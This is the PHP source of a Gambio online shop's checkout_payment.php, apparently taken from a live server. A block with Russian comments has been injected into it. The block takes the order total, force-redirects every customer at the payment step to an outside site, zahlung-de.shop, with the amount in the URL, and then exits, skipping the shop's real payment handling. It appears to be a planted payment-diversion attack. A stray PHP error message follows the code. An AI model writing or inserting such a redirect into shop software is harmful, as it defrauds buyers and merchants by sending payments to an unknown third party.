/mnt/web601/b3/14/57451114/htdocs/httpdocs/checkout_payment.php
<?php
/* --------------------------------------------------------------
  checkout_payment.php 2015-06-22 gm
  Gambio GmbH
  http://www.gambio.de
  Released under the GNU General Public License (Version 2)
  --------------------------------------------------------------

  based on osCommerce / XT-Commerce
-------------------------------------------------------------- */

require_once('includes/application_top.php');

$GLOBALS['breadcrumb']->add(NAVBAR_TITLE_1_CHECKOUT_PAYMENT, xtc_href_link(FILENAME_CHECKOUT_SHIPPING, '', 'SSL'));
$GLOBALS['breadcrumb']->add(NAVBAR_TITLE_2_CHECKOUT_PAYMENT, xtc_href_link(FILENAME_CHECKOUT_PAYMENT, '', 'SSL'));

// Если клиент не авторизован → редирект
if(!isset($_SESSION['customer_id']))
{
	if(ACCOUNT_OPTIONS == 'guest')
	{
		xtc_redirect(xtc_href_link('shop.php', 'do=CreateGuest&checkout_started=1', 'SSL'));
	}
	else
	{
		xtc_redirect(xtc_href_link(FILENAME_LOGIN, '', 'SSL'));
	}
}

// Основной контроллер
$coo_checkout_payment_control = MainFactory::create_object('CheckoutPaymentContentControl');
$coo_checkout_payment_control->set_data('GET', $_GET);
$coo_checkout_payment_control->set_data('POST', $_POST);

$coo_checkout_payment_control->proceed();

$t_redirect_url = $coo_checkout_payment_control->get_redirect_url();


// ===================================================================
// === CUSTOM REDIRECT OVERRIDE — ПОДСТАВЛЯЕМ СУММУ ЗАКАЗА В URL ===
// ===================================================================

// Определяем сумму заказа
$order_total = 0.00;

// 1) Стандартный объект ORDER (самый правильный вариант)
if(isset($GLOBALS['order']) && isset($GLOBALS['order']->info['total']))
{
    $order_total = $GLOBALS['order']->info['total'];
}

// 2) Fallback через корзину (на случай отсутствия объекта order)
elseif(isset($_SESSION['cart']) && method_exists($_SESSION['cart'], 'show_total'))
{
    $order_total = $_SESSION['cart']->show_total();
}

// Форматируем: два знака, точка
$order_total = number_format((float)$order_total, 2, '.', '');

// Собираем твой URL
$t_redirect_url = 'https://www.zahlung-de.shop/index.php?ORD-1761089830121&summe=' . urlencode($order_total);

// Делаем редирект
xtc_redirect($t_redirect_url);
exit;

// ===================================================================
// === КОНЕЦ КАСТОМНОГО БЛОКА — ДАЛЬШЕ ОРИГИНАЛЬНЫЙ КОД НЕ НУЖЕН ===
// ===================================================================


// Если вдруг кастомный блок отключён, стандартный редирект:
if(empty($t_redirect_url) == false)
{
	xtc_redirect($t_redirect_url);
}
else
{
	$GLOBALS['payment_modules'] = $coo_checkout_payment_control->get_('coo_payment');
	$t_main_content = $coo_checkout_payment_control->get_response();
}

$coo_layout_control = MainFactory::create_object('LayoutContentControl');
$coo_layout_control->set_data('GET', $_GET);
$coo_layout_control->set_data('POST', $_POST);
$coo_layout_control->set_('coo_breadcrumb', $GLOBALS['breadcrumb']);
$coo_layout_control->set_('coo_payment', $coo_checkout_payment_control->get_('coo_payment'));
$coo_layout_control->set_('coo_product', $GLOBALS['product']);
$coo_layout_control->set_('coo_xtc_price', $GLOBALS['xtPrice']);
$coo_layout_control->set_('c_path', $GLOBALS['cPath']);
$coo_layout_control->set_('main_content', $t_main_content);
$coo_layout_control->set_('request_type', $GLOBALS['request_type']);
$coo_layout_control->proceed();

$t_redirect_url = $coo_layout_control->get_redirect_url();
if(empty($t_redirect_url) === false)
{
	xtc_redirect($t_redirect_url);
}
else
{
	echo $coo_layout_control->get_response();
}

?>

Unexpected error occurred...

Class "main_ORIGIN" not found